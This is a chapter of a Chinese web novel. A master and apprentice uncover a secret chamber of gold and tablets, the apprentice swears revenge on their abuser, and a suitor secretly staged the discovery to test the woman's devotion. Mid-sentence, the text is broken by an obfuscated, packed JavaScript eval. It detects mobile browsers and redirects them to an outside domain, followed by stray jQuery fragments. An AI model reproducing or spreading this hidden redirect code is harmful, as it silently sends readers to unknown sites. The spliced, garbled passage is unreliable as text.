152. 琼州的过去十
作品:《元青见闻录》 竹林旁砌起了一座新屋,由青石混合着泥砌成,屋顶覆盖着整齐的灰色瓦片,门窗都是竹子制成,未经雕琢,保留了木头本身的纹理和色泽。门上挂着一把简单的铜锁,窗户则是几根竖直的木条,围着屋子有一圈栅栏,内院摆着三把摇椅,一张竹桌。
“……”师徒二人对望一眼,默不吭声。
燕椿和取出黄铜门匙,打开门,含蓄笑道:“我提前准备的,元青,你喜欢吗?”
“……哪里找的泥瓦匠?”灵乡谷这地方没人,最近的是住在几里地外的邻居,再远些要去灵乡村,整个岛上可能也就住着不到百人,倒是有人会盖房子,但大多盖的是竹屋,石房子,哪怕村里都未必能见到。
“哪里需要找,不过是从琼州派些人过来罢了。”他谦虚地拉着她进屋,又道:“只可惜匆忙了些,就二间。”
“好厉害啊……”
燕椿和接收到她饱含崇拜、赞叹的眼神,笑意略深,瞧见元让蓝在旁边看他,嘴角拉平,客气一笑指着西屋:“你住那边,也去看看吧。”
元让蓝盯着他:“我从前一直住东屋的,而且,我不住你的房子。”
赵元青诧异:“那你要住竹屋?那边住不了的。”
他沉沉看她:“你跟我来。”转身朝屋外走去。
燕椿和十分大方,立刻松开手,示意自己没关系的。
“去里面歇会,茂茂,回来我给你煮茶。”她把他拉到屋内,见他坐下朝屋外走去。
元让蓝已走到从前竹屋门口,他进去了,她慢悠悠跟在后面,见竹屋内,徒弟已经开始收拾破落篱笆和散架的桌椅。
“闹什么呢?”她走过去也开始弄。
“我没闹,他有钱,他阔绰,是他的事,我不想受他恩惠,也不想见他那副大方模样。”
她很不解:“燕椿和是个很好的人,你为什么会不喜欢他呢?”
……赵元青说完才明白自己说了傻话,唉茂茂可……可真是。
“算了,你当我没说。但这房子没没法住,你凑合一天,明天我找船送你,行吗?”
元让蓝停了手:“师父,你在船上告诉我不要玩物丧志,可他正在让你习惯这种富贵的生活,这些朱轮华毂,这些水陆毕陈,全都不安好心,他要改变你,慢慢让你习惯这些,到最后你离不开这些东西,你就只能求着他。”
赵元青恍然大悟,是了,她当时是想说这个意思的,玩物丧志。
“朱轮华毂我大概明白,水陆毕陈是什么意思?”
“……美食佳肴。”元让蓝臭着脸道。
“好,我记住了。你是个孝敬徒弟,我明白你的意思。我信你不会玩物丧志,你也信我不会玩物丧志,行不行?这太脏了,别弄了,走,我回去给你搞点吃的,许久没吃琼州的东西了,咱们去林子里挖点笋,你找找竹虫,晚上好好吃一顿,你从前最爱吃这个。”
她边说边伸手拉他。
元让蓝犹豫一下,按说他快十四岁了,有些不合适……
但他没想到赵元青拎他衣领给他愣拽起来,低头给他拍了拍手和衣裳。
“快点走,我先去趟师父那。”
好吧,他就知道,这也不意外。
二人一起回去,打算直接去溪云洞看看,赵元青一想到堵在门口那巨石,感觉三人未必站的下,那地方还挺窄的,而且元让蓝上去有点难。
但元让蓝坚持要去,只得一起出发。
许久不走,小径已经没了,她根据大概印象独自在前面带路,捡了跟竹棍敲敲打打地面,这主要是怕有蛇虫,到瀑布旁给他俩大概指了一下位置。
“我先去上面把石头挪开,你们等一下。”
见二人点头,她飞身借力朝上轻纵。
燕椿和见她上去,看不见后低头漫不经心地问元让蓝:“我送你套偃鸟如何?方便你同牧野传递消息。你现在心中很急了吧?”
元让蓝是急,他这次出来的时间超出预期,燕泗半月前就已开始问了,只是一直被他压着。牧野形式错综复杂,而且,他预计年宴时见一面那个小皇帝。
但他可以去七珞阁买那个偃鸟,他可以让燕泗出面,这总不可能不卖。
燕椿和微弯唇角,眼神却没带笑意:“少年人,意气用事。偃鸟不会卖给大魏的,不如你那只,也还我?”
那只是他要留着与师父通信的,他不想给,他抬头:“要,谢谢燕叔叔。”他说的很大声,却咬紧牙关。
燕椿和这才满意,就要身段柔软些,自尊,同情,怜悯,感情,什么都能舍,这才能成为一个好的野心家,才能往上走。他会帮他的。
“会派人送到你府上。”
山上石沙不断掉落,逐渐停了又有一会,赵元青身上脏脏地飞下来,她脸也被蹭脏了,燕椿和低头拿帕去瀑布旁沾湿,递给她。
她擦干脸问:“怎么上?我背徒弟?你这个距离应该没问题。”两个男子统统脸色一变。
都不是很想让她背。
元让蓝大概估算一下,感觉自己三四丈应该没问题,中途可以歇,这山壁并不是如同笔管一样陡峭。
“大概多高?”
“差不多四丈多一些,你要试试吗?我可以陪你,中间有处歇脚地方,你可以再次借力,放心,肯定不能让你掉下去。”
他点点头:“那我应该没问题,只要能歇脚,我可以再提气。”
赵元青看向燕椿和:“你先上,我最后?”
他幽怨不语。
她立刻掉头看徒弟:“你先,我们在后面看着你。”
元让蓝点点头,他第一次跃这么高,沉下心运转功法,脚尖轻点地面,如同蜻蜓点水般,向着山壁掠去,只是动作略显笨拙。
她看回燕椿和,他也足尖轻点,赵元青跟上。
师徒二人功法如出一辙,都是明洞功,不如燕椿和的飘逸,他落脚时身姿轻盈,还能躲开前面元让蓝借力踩到而坠下的石子。
中间果然元让蓝歇了一次,不过他不算懈怠,赵元青还是比较满意的。
三人来到溪云洞门口,入内一看,不过是些陶碗,垫子,反正几乎同她走时没什么两样。
但元让蓝过去把陶碗拾起,擦干净碗底看了一下,又摸了摸字迹和工艺。
“师父,赵天元一直在这边吗?他有没有别的洞府?”
“有啊,从前我在灵谷村的时候,他在别的地方住,不过我只记得大概的方位,而且那边好像前几年塌了。”
燕椿和看向垫在青石床上的垫子。他不想自己掀那个看起来很臭的垫子,他也不想让元青碰。
元让蓝发现他一直盯着垫子,干脆走过去拽开,惊起一片尘土。
赵元青迅速拉燕椿和跳的远了些:“……那是师父死的地方,不好吧?”
但元让蓝顾不上那些,这石床垫子下竟然有一个把手,他一拉,里面竟然是个洞,黑黝黝的,也不知是什么。
赵元青惊讶:“他没和我说过,但我们没带火折子。”
燕椿和适时递给元让蓝一颗夜明珠。
她没忍住,回头瞪他一眼。他也没气,非常自谦地冲她垂目一笑。
“我下去吧。”赵元青要去拿,燕椿和却拉住她,又把元让蓝没接的夜明珠放回袖内。
“太清遗书,用一下吧。你们一起下去,我是外人,就不下去了。”他朝元让蓝笑得十分温和。
元让蓝一想也是,他展开之后,几乎没有什么能伤他,还能照明。干脆让师父也别下去了,他自己去,有事他会喊。
赵元青已经大概知道里面肯定不是什么不好的东西了,干脆也随他。三人达成一致,元让蓝径自跳下,这洞并不深,修成了一个密室,高大概□□尺,宽约有一丈。里面四面墙堆砌到顶的金砖,几乎快摆满了,中间有一个桌子,桌子就是琼州本地的花梨木,上面供着两个牌位,牌位上面写的是爱妻沈镜仙,爱女赵却绿。旁边一座祥云状香炉,香灰和尘土早已混杂,也辨不清是哪种香,剩下的,就是两本书。
元让蓝静静地盯着牌位看了几息,突然暴怒挥袖把牌位香炉桌子全部打翻,然后又一脚踢到金砖墙上,金砖纷纷下落,他几乎遏制不住怒意,又回身一脚踩碎那两个牌位,捡起金砖狠狠砸向香炉。
赵元青正在上面审问燕椿和,做什么非要徒弟去?
燕椿和只笑而不答,有外人时他几乎不说话。但洞内突然传来一声巨响,接着什么东西哗啦啦地掉落,赵元
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524422|156408||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
青一时顾不上燕椿和,奔着洞跳下去,洞内徒弟的黄光还亮着,她一下去几乎惊呆了,好多金子。
元让蓝一见她下来大口喘着气,瞬间收起功法,在黑暗中死死拉着她,眼白充血,话从牙缝中挤出:“赵、天、元、还活着。我要让他死,我一定要杀了他。”
赵元青看不见,但徒弟握着她手腕的手在抖,几乎是用了全力。
她在黑暗中唤出茂茂剑,剑在空中稳稳竖着,洞内被青绿而温和的光瞬间覆盖。
她矮下身子拍拍他后背:“活着就活着,你别太激动,你看起来不太好。”元让蓝恨得咬牙切齿,红着眼睛抬眉看她。
“他……他妻女早就死了,他让你找,他有堆成一座山那么高的金子,他让你日日挨饿,他一分一毫都没给你,他让你住在野狗不要的洞里,让你去捡别人不要的烂絮褥子,他让你从灵谷村被赶出去……他让你……”元让蓝几乎说不出话,他抽泣蹲下。
赵元青一怔,她好像没说过她被赶出去的事情,丢人的事情她一向不说的,她希望自己落魄时看起来也甚是潇洒。
可徒弟看起来很难过。
她也蹲下轻轻地说:“徒弟,你看啊,这个事情是这样的,我那时快死了,父母把我卖了,他花钱买我给他找秘密,他说能管饭。我想,管饭好啊,只要不饿死就行,可他没管我饭,我也没帮他找秘密,这就算扯平了,对不对?金子是他的,和咱们又没什么关系……而且,我也没全得坏处啊。”
“怎么没关系!”他站起身甩开她的手大哭着问:“他可以不捡你,他捡了你为什么不管?”
“他不教你识字,只教你练武,练不好就用竹条打你,打得你次次口鼻血流不停,等我练武时才知道那是伤到内脏了!特别是秋冬日,你每次都在溪边冻得瑟瑟发抖洗足半个时辰。”
“我最恨竹子!我发誓我这辈子都不想见到竹子!你春夏总是莫名其妙昏倒,你一直在哭,我摸你骨头,你骨头像全都被人抽掉了一样,你都快死了,我没办法,我去求邻居,我给她跪下,她不肯来,说有孩子有照顾,我一路哭着回来打水烧水帮你擦身体,有虫子都在啃你啊,我赶不干净。”
“甚至他不光捡你,他还捡了我,他让你带我一个拖油瓶,他坑了你三十年!”
“赵元青,你是不是没长脑子啊?你怎么不恨他啊!我告诉你,我和你不一样,我一定要杀了他,我谁都恨,我谁也不信,我只信我自己!只要让我爬得足够高,我一定要把从前对咱们不好的人全都杀了!”
——
燕椿和在山洞外边缘缓缓坐下,静静听着里面的对话。
他望向下面大片竹林,自言自语:“果然,亲耳听到,还是不一样……”
他低头,颤抖着手取出两张纸条,缓缓撕掉,剩下的,用不上了。
密室是赵天元的,桌子和那两本书也是,金子不是,牌位也不是,金子是用来让元让蓝说赵元青的从前,那时,怎么可能从结阳、云梦千里迢迢派人过来,只查赵元青呢?
蘅夏就没走过,凡赵元青遇见的人,他都要知道,要重新造假这里,让金子上的尘土逼真一些,让石头看不出来被动过,才是目的。
赵天元在琼州一共有三处密室,一处放了财帛地契,一处放了可以开宗立派的美梦,这是最简陋的一处。
他也怕赵元青发现吧?两本书,一本真,一本假,还都用了密文。可笑赵元青根本没看。
接下来,等元让蓝走,他要坦白这件事,不过也许她已经猜到了,同样的事情在胥州上演过,在明园也上演过,第三次,第四次,就是这样一次次,验证赵元青说的是不是真的,她是不是真的在为他降低底线。
他特意选了一件不小,也不大的事情,人关键,但事情很小,这样才有回转的余地。
接下来还有,赵元青会明白,他就是这样的人,要靠不停地验证她的爱才能活着,她就得容忍他,她要适应,不能只爱他的好,她要连他的不好,缺点,一起爱。
人就是这样的,在一次一次经历中,才能加深感情。
元让蓝该走了,他没用了,赵天元也不需要他杀,他说过的,他会活剥了赵天元的皮,放在淅川城门口,日日任人践踏。